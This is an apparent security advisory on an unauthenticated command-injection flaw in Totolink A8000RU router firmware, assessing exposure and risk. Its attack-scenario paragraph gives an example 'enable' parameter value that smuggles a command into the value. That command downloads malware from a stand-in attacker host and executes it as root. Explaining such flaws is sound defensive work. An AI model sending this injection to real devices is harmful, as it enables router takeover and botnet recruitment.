Totolink A8000RU EUVD-2026-27221

Remote unauthenticated exploitation against default configurations of Totolink A8000RU firmware 7.1cu.643_b20200521. The router's web administration interface must be network-accessible from the attacker (internet-exposed or same LAN segment). No authentication, special configuration, or user interaction required per CVSS vector AV:N/AC:L/PR:N/UI:N. Exploitation is LIMITED if the device follows security best practices of LAN-only admin access, requiring the attacker to already be on the local network or to leverage CSRF techniques via a victim's browser. Devices with remote management enabled or exposed to untrusted networks (DMZ placement, misconfigured NAT) are at immediate risk.

Real-world risk is HIGH despite absence of CISA KEV listing. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms the worst-case scenario: network-accessible, low complexity, no authentication required, and no user interaction needed. The E:P (Proof-of-concept) modifier indicates working exploit code exists on GitHub, significantly lowering the skill barrier for attackers. However, exploitation requires the router's web interface to be accessible from the attack source-most consumer deployments expose management interfaces only to LAN, limiting risk to local network attackers or victims of cross-site request forgery. The lack of EPSS score prevents probabilistic risk assessment, but public POC availability combined with unauthenticated remote vector suggests medium-to-high exploitation likelihood for internet-exposed devices. SOHO routers rarely receive timely patches and often remain vulnerable for years post-disclosure. KEY UNCERTAINTY: No vendor security advisory is referenced-affected version range may extend beyond 7.1cu.643_b20200521. Absence from CISA KEV suggests this is not yet observed in widespread campaigns, but the low attack complexity makes this ideal for IoT botnets.

An attacker scans the internet for Totolink A8000RU routers with exposed web interfaces on port 80/8080, identifies the vulnerable firmware version via HTTP headers or login page fingerprinting, then sends a crafted HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'enable' parameter containing shell metacharacters and commands (e.g., 'enable=1;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot'). The router executes the injected commands as root, downloading and launching botnet malware that enlists the device in DDoS campaigns or establishes persistent backdoor access for lateral movement into the victim's network.